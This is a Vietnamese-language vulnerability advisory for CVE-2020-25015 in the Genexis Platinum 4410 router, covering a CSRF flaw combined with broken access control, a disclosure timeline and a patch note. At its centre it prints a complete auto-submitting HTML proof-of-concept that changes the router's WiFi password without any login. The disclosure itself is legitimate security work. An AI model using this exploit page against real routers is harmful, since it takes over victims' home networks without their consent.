Khi kiểm tra router gia đình Genexis Platinum 4410 phiên bản 2.1 (phiên bản phần mềm P4410-V2-1.28), tôi phát hiện router dễ bị tấn công bởi Broken Access Control (Kiểm soát truy cập bị phá vỡ) và CSRF.
CVE ID: CVE-2020-25015
Tóm tắt
Platinum 4410 là router nhỏ gọn từ Genexis thường dùng tại gia đình. Phiên bản phần cứng V2.1 – Phiên bản phần mềm P4410-V2-1.28 được phát hiện dễ bị tấn công bởi Broken Access Control và CSRF, có thể kết hợp để thay đổi mật khẩu điểm truy cập WiFi từ xa.
Để biết thêm về CSRF, vui lòng xem bài viết này.
Tác động
Kẻ tấn công có thể gửi cho nạn nhân một liên kết, nếu nạn nhân click vào nó trong khi đang kết nối với mạng WiFi được thiết lập từ router dễ bị tấn công, mật khẩu điểm truy cập WiFi sẽ bị thay đổi qua khai thác CSRF. Vì router cũng dễ bị Broken Access Control, nạn nhân không cần đăng nhập vào trang thiết lập web của router (192.168.1.1), về cơ bản biến đây thành hack chỉ cần một cú click (one-click hack).
Lỗ hổng
Lý tưởng nhất, cuộc tấn công này sẽ gây rắc rối vì để CSRF thành công, nó yêu cầu nạn nhân phải đăng nhập vào ứng dụng bị tấn công (trong trường hợp này là trang thiết lập web tại 192.168.1.1) và hầu hết trang thiết lập router tự động kết thúc phiên người dùng. Ngoài ra, khách hàng hiếm khi truy cập trang thiết lập router. Tuy nhiên, do lỗ hổng Broken Access Control trong phiên bản firmware mới nhất tại thời điểm báo cáo, yêu cầu thay đổi mật khẩu có thể được gửi bởi các bên không được xác thực.
Do đó, kết hợp lỗ hổng CSRF và Broken Access Control trên phiên bản firmware này, kẻ tấn công có thể tạo tài liệu HTML với mã sau và dụ dỗ người dùng gửi nó.
<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://192.168.1.1/cgi-bin/net-wlan.asp" method="POST"> <input type="hidden" name="wlEnbl" value="ON" /> <input type="hidden" name="hwlKeys0" value="" /> <input type="hidden" name="hwlKeys1" value="" /> <input type="hidden" name="hwlKeys2" value="" /> <input type="hidden" name="hwlKeys3" value="" /> <input type="hidden" name="hwlgMode" value="9" /> <input type="hidden" name="hwlAuthMode" value="WPAPSKWPA2PSK" /> <input type="hidden" name="hwlEnbl" value="1" /> <input type="hidden" name="hWPSMode" value="1" /> <input type="hidden" name="henableSsid" value="1" /> <input type="hidden" name="hwlHide" value="0" /> <input type="hidden" name="isInWPSing" value="0" /> <input type="hidden" name="WpsConfModeAll" value="7" /> <input type="hidden" name="WpsConfModeNone" value="0" /> <input type="hidden" name="hWpsStart" value="0" /> <input type="hidden" name="isCUCSupport" value="0" /> <input type="hidden" name="SSIDPre" value="N/A" /> <input type="hidden" name="bwControlhidden" value="0" /> <input type="hidden" name="ht_bw" value="1" /> <input type="hidden" name="wlgMode" value="b,g,n" /> <input type="hidden" name="wlChannel" value="0" /> <input type="hidden" name="wlTxPwr" value="1" /> <input type="hidden" name="wlSsidIdx" value="0" /> <input type="hidden" name="SSID_Flag" value="0" /> <input type="hidden" name="wlSsid" value="JINSON" /> <input type="hidden" name="wlMcs" value="33" /> <input type="hidden" name="bwControl" value="1" /> <input type="hidden" name="giControl" value="1" /> <input type="hidden" name="enableSsid" value="on" /> <input type="hidden" name="wlAssociateNum" value="32" /> <input type="hidden" name="wlSecurMode" value="WPAand11i" /> <input type="hidden" name="wlPreauth" value="off" /> <input type="hidden" name="wlNetReauth" value="1" /> <input type="hidden" name="wlWpaPsk" value="NEWPASSWORD" /> <input type="hidden" name="cb_enablshowpsw" value="on" /> <input type="hidden" name="wlWpaGtkRekey" value="" /> <input type="hidden" name="wlRadiusIPAddr" value="" /> <input type="hidden" name="wlRadiusPort" value="" /> <input type="hidden" name="wlRadiusKey" value="" /> <input type="hidden" name="wlWpa" value="TKIPAES" /> <input type="hidden" name="wlKeyBit" value="64" /> <input type="hidden" name="wlKeys" value="" /> <input type="hidden" name="wlKeys" value="" /> <input type="hidden" name="wlKeys" value="" /> <input type="hidden" name="wlKeys" value="" /> <input type="hidden" name="WpsActive" value="0" /> <input type="hidden" name="wpsmode" value="ap-pbc" /> <input type="hidden" name="pinvalue" value="" /> <input type="hidden" name="Save_Flag" value="1" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
Miễn là nạn nhân đang kết nối với điểm truy cập WiFi được thiết lập bởi router bị ảnh hưởng, mật khẩu của điểm truy cập sẽ bị thay đổi như trong video dưới đây.
Dòng thời gian (Timeline)
- Báo cáo lỗ hổng cho nhóm Genexis ngày 28 tháng 8 năm 2020
- Nhóm xác nhận phát hành firmware chứa bản vá ngày 14 tháng 9 năm 2020
Khuyến nghị
- Theo nhóm Genexis, khách hàng nên liên hệ ISP của họ để có quyền truy cập firmware mới nhất.
- Sử dụng router an toàn hơn nếu bạn không thể nâng cấp firmware.
Tham khảo
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25015
- https://nvd.nist.gov/vuln/detail/CVE-2020-25015